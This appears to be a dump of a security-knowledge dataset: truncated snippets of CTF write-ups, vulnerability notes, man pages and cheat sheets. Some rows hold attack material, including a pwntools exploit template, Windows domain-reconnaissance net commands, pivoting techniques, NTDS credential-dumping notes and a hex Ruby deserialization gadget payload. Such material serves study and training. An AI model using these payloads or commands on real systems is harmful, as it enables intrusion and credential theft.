text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
## Shop-1 (pwn, 100p, 34 solves)
> Our marvelous Bragisdumus shop just opened. Come and see [our beautiful Bragisdumus](bragisdumu-shop)!
> Login as an admin! get the admin password.
> nc 185.106.120.220 1337
### PL
[ENG](#eng-version)
Z zadaniem otrzymujemy binarkę serwera usługi typu CRUD z wpisami w pamięci pro... | sec-knowleage |
---
title: Docker 介绍
---
<center><h1>Docker 介绍</h1></center>
---
Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓... | sec-knowleage |
# PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
参考链接:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ct... | sec-knowleage |
# B1g_Mac
Reverse Engineering, 500 points
## Description:
> Here's a zip file.
## Solution:
Let's extract the file:
```console
E:\CTFs\pico\B1g_Mac>"c:\Program Files\7-Zip\7z.exe" x b1g_mac.zip
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21
Scanning the drive for archives:
1 file, 295964 bytes (29... | sec-knowleage |
tmux
===
Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权
## 补充说明
使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机;
## 功能
- 提供了强劲的、易于使用的命令行界面。
- 可横向和纵向分割窗口。
- 窗格可以自由移动和调整大小,或直接利用四个预设布局之一。
- 支持 UTF-8 编码及 256 色终端。
- 可在多个缓冲区进行复制和粘贴。
- 可通过交互式菜单来选择窗口、会话及客户端。
- 支持跨窗口搜索。
- 支持自动及手动锁定窗口。
## 安装
```she... | sec-knowleage |
### 培根密码原理
培根密码使用两种不同的字体,代表 A 和 B,结合加密表进行加解密。
| a | AAAAA | g | AABBA | n | ABBAA | t | BAABA |
| --- | ----- | --- | ----- | --- | ----- | --- | ----- |
| b | AAAAB | h | AABBB | o | ABBAB | u-v | BAABB |
| c | AAABA | i-j | ABAAA | p | ABBBA | w | BABAA |
| d | AAABB | k | ABAAB | q | ABBBB ... | sec-knowleage |
原文 By Mark4z5
## 一、XML基础知识
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文... | sec-knowleage |
# 32.2 把二叉树打印成多行
[NowCoder](https://www.nowcoder.com/practice/445c44d982d04483b04a54f298796288?tpId=13&tqId=11213&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
和上题几乎一样。
## 解题思路
```java
ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
ArrayList<ArrayLi... | sec-knowleage |
---
title: CF 云环境利用框架使用手册
---
<center><h1>CF 云环境利用框架使用手册</h1></center>
---
<p align="center">
<img width="500" src="/img/cf.png"><br><br>
<a href="https://github.com/teamssix/cf/blob/main/LICENSE"><img alt="License" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a>
<a href="https://goreportcard.com... | sec-knowleage |
import subprocess
import serial, sys
import time, random
import matplotlib.pyplot as plt
import numpy as np
from scipy import fftpack
def enc(e):
s = serial.Serial("/dev/ttyUSB0", 115200, timeout = 2)
stuff = "\xae" + e + "\n"
s.write(stuff)
rd = s.read(18)
print repr(stuff), repr(rd)
assert rd... | sec-knowleage |
**Authors**: < [nixawk](https://github.com/nixawk) >
----
```
net view
net view /domain
net view /domain:DOMAINNAME
net view \\domain-control
net user
net user /domain
net localgroup administrators
net localgroup administrators /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /do... | sec-knowleage |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./test
from pwn import *
import subprocess
import pickle
import string
import sys
class ELF_MUSL(ELF):
def _populate_libraries(self):
# We need a .dynamic section for dynamically linked libraries
... | sec-knowleage |
# Lost modulus (crypto, 230p, 42 solved)
In the task we can connect to a service running [python code](paillier_hitcon.py).
We can easily deduce that it's a textbook implementation of Paillier cryptosystem.
We get encrypted flag from the server and then we can perform two operations:
- encryption of selected payload
- ... | sec-knowleage |
# 如何将产品思路“提现”?
本文主要整理一些学习过程中遇到的产品知识,主要整理些**思路**。
## 前期
### 思路一
根据现状和前景提出需求——从需求中拆分研究方向——证明思路、实现效果(Demo)——解决、总结繁琐的细节 | sec-knowleage |
# S2-001 远程代码执行漏洞
## 原理
参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
> 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提... | sec-knowleage |
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: lappend.n,v 1.2 2003/11/24 05:09:5... | sec-knowleage |
<details markdown="1">
<summary>目录</summary>
- [1 安卓类](#1)
* [I. 代码实现](#1.1)
+ [1.1 异常捕获处理](#1.1.1)
+ [1.2 数据泄露](#1.1.2)
+ [1.3 webview 组件安全](#1.1.3)
+ [1.4 传输安全](#1.1.4)
* [II. 配置&环境](#1.2)
+ [2.1 AndroidManifest.xml 配置](#1.2.1)
- [2 后台类](#2)
* [I. 代码实现](#2.1)
+ [1.1 数据持... | sec-knowleage |
# Check yourself so you won't wreck yourself
* Category: Forensics
* 100 Points
* Solved by the JCTF Team
## Description
> Dumbster diving.
A 6GB file was attached.
## Solution
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# file checkyourself.E01
checkyourself.... | sec-knowleage |
# Episode 3: Challenge 3
## Description
> This corgi made a mess, clean it up.
>
> Hint: Maybe support can help debug the subscriber problem?
An APK file and a QR code were attached.
## Solution
Let's start from the QR code:
```console
┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a]
└─$ zbarimg QR-Code.... | sec-knowleage |
# 安全测试概述
## 安全测试与渗透的区别
* 安全测试:侧重于安全威胁的建模,系统对来自各个方面、各个层面威胁的全面考量。不局限于Web应用系统,可以应用于任何软硬件系统。
* 渗透测试:侧重于几个点的穿透攻击,以黑客攻击手法从单点找到利用途径,证明系统存在问题。
## 安全测试分类
* 白盒测试
* 灰盒测试
* 黑盒测试
## 安全测试流程
很多中小型企业是没有合理的安全测试流程的,原因主要有以下2点:
* 安全与业务沟通协作不当,业务不知道什么时候需要进行安全测试,安全对业务了解太少;
* 安全阻碍了业务的发展(这是很多业务的直观认为,也是安全工作不到位的体现),如:安全测试所需时间、安全测试发现的问题需要修复等等这些都阻... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH BASE64 1 2022年9月 "GNU coreutils 9... | sec-knowleage |
# vault-door-6
Reverse Engineering, 350 points
## Description:
> This vault uses an XOR encryption scheme.
```java
import java.util.*;
class VaultDoor6 {
public static void main(String args[]) {
VaultDoor6 vaultDoor = new VaultDoor6();
Scanner scanner = new Scanner(System.in);
System.out.pr... | sec-knowleage |
'\"
'\" Copyright (c) 1990 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: option.n,v 1.2 2003/11/24 05:09:59... | sec-knowleage |
.\" Copyright (c) 1985, 1989, 1990 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the ab... | sec-knowleage |
package org.vulhub.fastjsondemo;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import o... | sec-knowleage |
/*
* Copyright 2015-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH ID 1 2022年9月 "GNU coreutils 9.1" ... | sec-knowleage |
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.12-rest-showcase
ports:
- "8080:8080" | sec-knowleage |
ifdown
===
禁用指定的网络接口
## 补充说明
**ifdown命令** 用于禁用指定的网络接口。
### 语法
```shell
ifdown(参数)
```
### 参数
网络接口:要禁用的网络接口。
### 实例
```shell
ifdown eth0 #禁用eth0
``` | sec-knowleage |
---
title: 自动更新
---
## 自动更新
使用 `upgrade` 命令可以自动更新 CF
```bash
cf upgrade
```
值得注意的是,CF 会先判断当前 IP 是不是大陆地址,如果是大陆地址则会采用 ghproxy.com 代理进行更新,如果是非大陆地址则会直接采用 github.com 进行更新。
> CF 会自动检查是否有新版本可用,如果发现新版本,CF 就会进行提醒,为保证 CF 的执行速度,每次检查时间间隔会大于 24 小时。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated =... | sec-knowleage |
# Breadth
Reverse Engineering, 200 points
## Description
> Surely this is what people mean when they say "horizontal scaling," right?
>
> TOP SECRET INFO:
>
> Our operatives managed to exfiltrate an in-development version of this challenge, where the function with the real flag had a mistake in it. Can you help us ge... | sec-knowleage |
# Awesome Mix 1 (Crypto)
In the task we get the source code:
```python
#!/usr/bin/python -u
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5 as RSAsign
from Crypto.Hash import SHA
from Util import PKCS1_pad as pad
from SECRET import flag
import sys
def verify(s,m,n,e):
if pow(s,e,n) == pad(m):
... | sec-knowleage |
# Where is my purse (for)
In the task we get a large filesystem image and a memdump to work with.
Interesting part of memdump is a running KeePass instance.
We got some password-like strings from it, but we've never actually used them.
For some reason they were not necessary at all.
We've looked around the drive image ... | sec-knowleage |
# Network Pivoting Techniques
## Summary
* [SOCKS Compatibility Table](#socks-compatibility-table)
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
* [SSH](#ssh)
* [SOCKS Proxy](#socks-proxy)
* [Local Port Forwarding](#local-port-forwarding)
* [Remote Port Forwarding](#remote-port-forwarding)
* [... | sec-knowleage |
# 堆初始化
堆初始化是在用户第一次申请内存时执行 malloc_consolidate 再执行 malloc_init_state 实现的。这里不做过多讲解。可以参见 `malloc_state` 相关函数。 | sec-knowleage |
# 计算机网络 - 概述
<!-- GFM-TOC -->
* [计算机网络 - 概述](#计算机网络---概述)
* [网络的网络](#网络的网络)
* [ISP](#isp)
* [主机之间的通信方式](#主机之间的通信方式)
* [电路交换与分组交换](#电路交换与分组交换)
* [1. 电路交换](#1-电路交换)
* [2. 分组交换](#2-分组交换)
* [时延](#时延)
* [1. 排队时延](#1-排队时延)
* [2. 处理时延](#2-处理时延)
* [3. 传输时延](#3-传输时延)
... | sec-knowleage |
# INCD - Junior Cyber Challenge 2022
This is a short CTF by the Israeli National Cyber Directorate, as part of a recruitment campaign.
I didn't save the questions themselves but will try to create a very basic & lightweight writeup the challenges based on my notes.
## Junior Cyber Intelligence and IR Researcher
### Ch... | sec-knowleage |
# T8000-win-使用User_Del删除用户
## 测试案例
参考下文中提到的User_Del.exe程序删除用户。
<https://github.com/Ryze-T/Windows_API_Tools>
作用:删除用户
用法:User_Del.exe Username
## 检测日志
windows sysmon / Windows security
## 测试复现
测试环境说明:Windows server 2012
```shell
C:\Windows_API_Tools-main>net user wang TOpsec.098 /add
命令成功完成。
C:\Windows_API_Tools-main>U... | sec-knowleage |
# OpenCV (ppc 200)
###ENG
[PL](#pl-version)
In the task we get an OpenCV cascade classifier and a lot of images in a [package](task.zip).
Each of the images has a small hashcode embedded.
The goal is to see which of the pictures gets selected by OpenCV.
We simply loaded the classifier and run:
```python
import os
impor... | sec-knowleage |
> 目标资产信息搜集的程度,决定渗透过程的复杂程度。
> 目标主机信息搜集的深度,决定后渗透权限持续把控。
> 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
> ----Micropoor
文章将连载,从几方面论证,**渗透的本质是信息搜集**。
一次完整的网络渗透,不仅仅是与目标管理人员的权限争夺,一次完整的网络渗透,它分为两大块,**技术业务**与**信息分析业务**。
而**技术业务要辅助并且要为信息分析业务提供强大的支撑与保证**。同时**信息分析业务要为技术业务提供关键的目标信息分析逻辑关系与渗透方向**。
案例如下:(非root/administrator下主动信息搜集)(有马赛... | sec-knowleage |
# Parsletongue (re, 400p)
In the task we get a binary, which after some reversing comes down to the flag verification algorithm:
```python
def validate(inval):
if len(inval) == 0 or False:
return False
if not inval.startswith('TMCTF{'):
return False
if not inval.endswith('}'):
return... | sec-knowleage |
# Team-Plan
<p align="center">
<img src="../../assets/img/banner/Team-Plan.jpg" width="70%">
</p>
---
## 免责声明
1. 本项目所有内容,仅供学习和研究使用,请勿使用项目的技术手段用于非法用途,任何人造成的任何负面影响,与本人无关.
2. 本文档所有内容皆不代表本人态度、立场,如果有建议或方案,欢迎提交 issues
3. 未收及不会收取任何广告费用,推荐的所有工具链接与本人无任何利害关系
---
## 团队建设
- [安全实验室的发展及展望](https://www.freebuf.com/articles/es/211... | sec-knowleage |
# 一步到达 OEP 法
所谓的一步到达OEP的脱壳方法, 是根据所脱壳的特征, 寻找其距离OEP最近的一处汇编指令, 然后下int3断点, 在程序走到OEP的时候dump程序.
如一些压缩壳往往popad指令距离OEP或者大jmp特别近, 因此使用Ollydbg的搜索功能, 可以搜索壳的特征汇编代码, 达到一步断点到达OEP的效果.
## 要点
1. ctrl+f 查找popad
2. ctrl+l 跳转到下一个匹配处
3. 找到匹配处, 确认是壳解压完毕即将跳转到OEP部分, 则设下断点运行到该处
4. 只适用于极少数压缩壳
## 示例
示例程序可以点击此处下载: [3_direct2oep.zip](https://githu... | sec-knowleage |
# Plague of Locust
## Description
> > “if you refuse to let My people go, behold, tomorrow I will bring locusts into your territory. And they shall cover the face of the earth, so that no one will be able to see the earth; and they shall eat the residue of what is left, which remains to you from the hail, and they shal... | sec-knowleage |
## Irish Home (web, 200 points, 56 solves)

`http://ctf.sharif.edu:8082/login.php` is vulnerable to a sql injection
`a" or '1'='1';#` returns `SQL injection detected`
So the website returns error if we got more than 0 rows in response, we are able to get the username and password bit by bit using a... | sec-knowleage |
# ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)
[中文版本(Chinese version)](README.zh-cn.md)
## Environment setup
Enter following commands to build and run the vulnerability environment:
```
docker compose up -d
```
The environment listens to port 61616 and port 8161, of which 8161 is the web console por... | sec-knowleage |
# Apache Solr 远程命令执行漏洞(CVE-2017-12629)
漏洞原理与分析可以参考:
- https://www.exploit-db.com/exploits/43009/
- https://paper.seebug.org/425/
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:[XML实体扩展漏洞(XXE)](https://github.com... | sec-knowleage |
from collections import defaultdict
dic = defaultdict(str)
next = {}
lines = open("lop.c").readlines()
inside = False
doit = 0
start = False
for line in lines:
if "void __noreturn opcode_" in line:
opnum = int(line.split("_")[-1].split("(")[0])
inside = True
elif "__cxa_begin_catch" in line ... | sec-knowleage |
# Dependency Confusion
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
## Summary
* [Tools](#tools)
* [Exploit](#e... | sec-knowleage |
# 签到题
0300002402f080320100000009000e00050501120a100100010000830000290003000101 发现是个 西门子S7的写入请求包,将写入成功的返回包发送至公众号,即可获得 flag
---
# 关卡2
## ICS_8
下载附件,查看python脚本
添加解码的部分
```plain
def decode(cypher_text,iv):
cypher_text = base64.b64decode(cypher_text)
padding = 4 - len(cypher_text) % 4
if padding != 0:
cy... | sec-knowleage |
.TH "ECPG" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
ecpg \- 嵌入的 SQL C 预处理器
.SH SYNOPSIS
.sp
\fBecpg\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR \fIfile\fR...\fR\fR
.SH "DESCRIPTION 描述"
.PP
\fBecpg\fR 是一个嵌入的用于C 语言的 SQL 预编译器。 它把嵌有 SQL 语句的 C 程序通过将 SQL 调用替换成特殊的函数调用的方法转换成普通的 C 代码。 然后输出的... | sec-knowleage |
---
title: jQuery
date: 2020-12-24 21:08:21
background: bg-[#2c63a2]
tags:
- web
- js
- javascript
- library
categories:
- Programming
intro: |
This [jQuery](https://jquery.com/) cheat sheet is a great reference for both beginners and experienced developers.
plugins:
- tooltip
- copyCod... | sec-knowleage |
### JPG文件结构
- JPEG 是有损压缩格式,将像素信息用 JPEG 保存成文件再读取出来,其中某些像素值会有少许变化。在保存时有个质量参数可在 0 至 100 之间选择,参数越大图片就越保真,但图片的体积也就越大。一般情况下选择 70 或 80 就足够了
- JPEG 没有透明度信息
JPG 基本数据结构为两大类型:「段」和经过压缩编码的图像数据。
| 名 称 | 字节数 | 数据 | 说明 |
| ------- | ------ | ---- | ------------------------------------------... | sec-knowleage |
# T1003-003-windows-基于NTDS凭证获取1
## 来自ATT&CK的描述
攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。
除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。
下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。
- 卷影复制
- secretsdump.py
- 使用内置的Windows工具ntdsutil.exe
-... | sec-knowleage |
# React-transition-group
> React 过渡动画插件
react-transition-group 插件是 React 的 Animation Add-Ons(ReactTransitionGroup 和 ReactCSSTransitionGroup)拆分出来的插件,是 React 动画库的重要组成部分
### 装包
```
npm install react-transition-group --save
```
### 使用
> 根据组件内部 state 的改变来触发组件的动画处理
#### 导入
首先导入使用的 Components ,这里我们使用 CSSTransitionGroup
```js
... | sec-knowleage |
### CTF 竞赛解题模式 - Jeopardy
解题模式(Jeopardy)常见于线上选拔比赛。在解题模式 CTF 赛制中,参赛队伍可以通过互联网或者现场网络参与,参数队伍通过与在线环境交互或文件离线分析,解决网络安全技术挑战获取相应分值,类似于 ACM
编程竞赛、信息学奥林匹克赛,根据总分和时间来进行排名。
不同的是这个解题模式一般会设置 **一血** 、 **二血** 、 **三血** ,也即最先完成的前三支队伍会获得额外分值,所以这不仅是对首先解出题目的队伍的分值鼓励,也是一种团队能力的间接体现。
当然还有一种流行的计分规则是设置每道题目的初始分数后,根据该题的成功解答队伍数,来逐渐降低该题的分值,也就是说如果解答这道题的... | sec-knowleage |
# phpunit 远程代码执行漏洞(CVE-2017-9841)
composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。
phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的`vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`文件有如下代码:
```php
eval('?>'.file_get_contents('php://input'));
```
如果该文件被用户直接访问到,将造成远... | sec-knowleage |
## 表单
诸如`<input>`、`<textarea>`和`<option>`的表单组件与其它原生(native)组件不同,因为它们可以通过用户交互而被改变。这些组件提供的接口使得管理表单对用户交互的响应更加容易。
### 传统表单事件
**传统表单的提交**
```html
<form action='https://www.baidu.com' method='GET'>
//action表单提交的地址
//method表单提交的方式(GET比较小的数据提交,POST比较保密的提交)
<input type="text" name="hello" placeholder="输入内容">
<button>提交</butto... | sec-knowleage |
原文 by ringzero
## 1. 描述
本文章将概述一些经典的SSRF漏洞利用原理,从Fuzz扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示。
### 1.1 漏洞信息
腾讯微博应用 http://share.v.t.qq.com
SSRF利用点,参数: url
http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org
### 1.2 服务端回显
当从ssrf利用点发起一个远程请求,如果url资源存在,且MIME类型为HTML,服务端的脚本会分析出HTML页面内的title、img 等等资源,返回给客户端... | sec-knowleage |
### glibc 2.24下 IO_FILE 的利用介绍
在2.24版本的glibc中,全新加入了针对IO_FILE_plus的vtable劫持的检测措施,glibc
会在调用虚函数之前首先检查vtable地址的合法性。首先会验证vtable是否位于_IO_vtable段中,如果满足条件就正常执行,否则会调用_IO_vtable_check做进一步检查。
```C
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidd... | sec-knowleage |
help
===
该命令是bash内建命令,用于显示bash内建命令的帮助信息。
## 补充说明
**help命令** help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。
### 语法
```shell
help(选项)(参数)
```
### 选项
```shell
-d:显示内建命令的简要描述。
-m:按照man手册的格式输出内建命令的帮助信息。
-s:仅输出内建命令的命令格式。
不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO','IMPLEMENTATION'部分。
```
### 参数
bash内建命令(可以为多个,请用空格分隔... | sec-knowleage |
### Jump Oriented Programming原理
类似于 pwn 中的 ROP,EVM 中也有 JOP(Jump Oriented Programming)。JOP 的思想和 ROP 是相似的:串联起一个个小的代码片段(gadget),达成一定的目的。
涉及到JOP 的是如下三个字节码:
- 0x56 JUMP
- 0x57 JUMPI
- 0x5B JUMPDEST
在 EVM 中的无条件跳转 `JUMP` 和条件跳转 `JUMPI` 的目的地都必须是 `JUMPDEST`,这点和 ROP 可以任选返回地址不同。
另外需要注意的是,EVM 虽然使用的是变长指令,但是不允许像 ROP 那样跳到一条指令的中间。比如 64... | sec-knowleage |
# DEX文件
## 基本介绍
Google 为 Android 中的 Java 代码专门设计了对应的可执行文件 DEX(Dalvik eXecutable File),适用于手机这样的内存低和处理器性能较差的移动平台。下面,我们就来主要介绍一下DEX文件的格式。
## DEX 文件格式
### 数据类型定义
在介绍 DEX 文件的具体结构之前,我们先来关注一下 DEX 文件中所使用的一些基础的数据类型。
| 名称 | 说明 |
| --------- | -------------------------- |
| byte | 8 位有符号整数 ... | sec-knowleage |
# -.-
Crypto, 100 points
## Description:
> To 1337-H4X0R:
>
> Our coworker Bob loves a good classical cipher. Unfortunately, he also loves to send everything encrypted with these ciphers. Can you go ahead and decrypt this for me?
>
The following file was attached:
```
dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit... | sec-knowleage |
## Reverse 200 (re, 200p)
### PL
[ENG](#eng-version)
Dostajemy [program](./r200) (elf konkretnie), który, podobnie jak poprzedni, wykonuje sprawdzenie hasła i odpowiada czy hasło jest poprawne czy nie.
Domyślamy się że poprawne hasło jest flagą.
Cały program to coś w rodzaju:
int main() {
printf("Enter the... | sec-knowleage |
# got-shell
Binary Exploitation, 350 points
## Description:
> Can you authenticate to this service and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _... | sec-knowleage |
# PHP回调函数
---
## call_user_func
call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数
```php
<?php
call_user_func($_GET['a1'],$_GET['a2']);
?>
//xxx.php?a1=system&a2=whoami //命令执行
//xxx.php?a1=assert&a2=phpinfo() //代码执行
```
## call_user_func_array()
call_user_func_array() 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的... | sec-knowleage |
# Stateful Keen
Category: Programming, 70 Points
## Description
>```
> ________________
> .' \ \ \ \ `.
> / \ \ \ \ '.
> /\ | | | | \
> | \ | | | | \
> | / _|__|____|__|__ \
> | / / \ |
> |... | sec-knowleage |
version: '2'
services:
web:
image: vulhub/gogs:0.11.66
ports:
- "10022:22"
- "3000:3000" | sec-knowleage |
# MPRSA (crypto)
## ENG
[PL](#pl-version)
In the task we get [RSA public key components](public.txt), [encrypted flag](data.enc) and [source code](mprsa.py) used for encryption.
The code contains a classic multiprime RSA implementation, with an interesting key generation code:
```python
def key_gen(self, bits, prime_nu... | sec-knowleage |
# Office - Attacks
### Summary
* [Office Products Features](#office-products-features)
* [Office Default Passwords](#office-default-passwords)
* [Office Macro execute WinAPI](#office-macro-execute-winapi)
* [Excel](#excel)
* [XLSM - Hot Manchego](#xlsm---hot-manchego)
* [XLS - Macrome](#xls---macrome)
* [X... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER GROUP" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER GROUP \- 修改一个用户组
.SH SYNOPSIS
.sp
.nf
ALTER GROUP \fIgroupname\fR ADD USER \fIusername\fR [, ... ]
ALTER GROUP \fIgroupname\fR DROP USER \fIusername\fR [, ... ]
ALTER GROU... | sec-knowleage |
---
title: GraphQL
date: 2021-07-15 20:51:44
background: bg-[#cc44a2]
tags:
- query
- API
categories:
- Programming
intro: |
This quick reference cheat sheet provides a brief overview of GraphQL.
plugins:
- copyCode
---
Getting Started
--------
### Overview
- An alternative approach to RESTful APIs
... | sec-knowleage |
# More Cookies
Category: Web, 90 points
## Description
> I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!
## Solution
We visit the attached website and receive the following cookie:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/More_Cookies]
└─$ curl -I http://mercury.picoctf.net:15614/... | sec-knowleage |
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001" | sec-knowleage |
# Pillow
---
## 安装
```bash
python2 -m pip install Pillow
pip3 install Pillow
```
---
## 加载图片,使用方法open
```py
from PIL import Image
im = Image.open('test.jpg')
im.show()
# show 会调用系统默认的图片浏览器,linux好像不行,windows下正常
print im.format,im.size,im.mode
# im是一个Image对象,属性有format,size,mode。format是格式,size 是一个元组,表示(宽,高),mode则指的图片的模式。
... | sec-knowleage |
functions = ["none"] * 150
exceptions = open("exceptions").readlines()
for i, line in enumerate(open("exc2").readlines()):
line = line.strip()
if i % 3 == 1:
fun = line.split("(")[0].split()[-1]
elif i % 3 == 2:
line = int(line.split("[")[1].split("]")[0])
functions[line] = fun
fo... | sec-knowleage |
# Misc Sections
## Note related sections
有时候生产厂商或者系统构建者可能需要使用一些特殊的信息来标记ELF文件,从而其它程序可以来检查该 ELF 文件的一致性以及兼容性。节区类型为 SHT_NOTE 或者程序头部类型为 PT_NOTE 的元素用于来实现这个目的,它们中对象的表项可能包含一到多个,每一个表项都是目标处理器格式的 4 字节数组。下面给出了一些可能的注释信息。但是这并不在 ELF 文件的规范内。
- namesz 与 name
- name 的前 namesz 字节包含了一个以 NULL 结尾的字符串,这表示该项的拥有者或者发起人。但是目前并没有避免冲突的格式化的命... | sec-knowleage |
# Ruby Deserialization
## Marshal.load
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
```ruby
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b40737065637... | sec-knowleage |
from library import *
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1], n)
t = t[:, 395000:398000]
align_fft(t, 500)
show_traces(t) | sec-knowleage |
#!/usr/bin/env python3
import os
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import Counter
from Crypto.PublicKey import RSA
flag = open('flag.txt', 'rb').read().strip()
key = RSA.generate(1024, e=3)
open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')
open... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
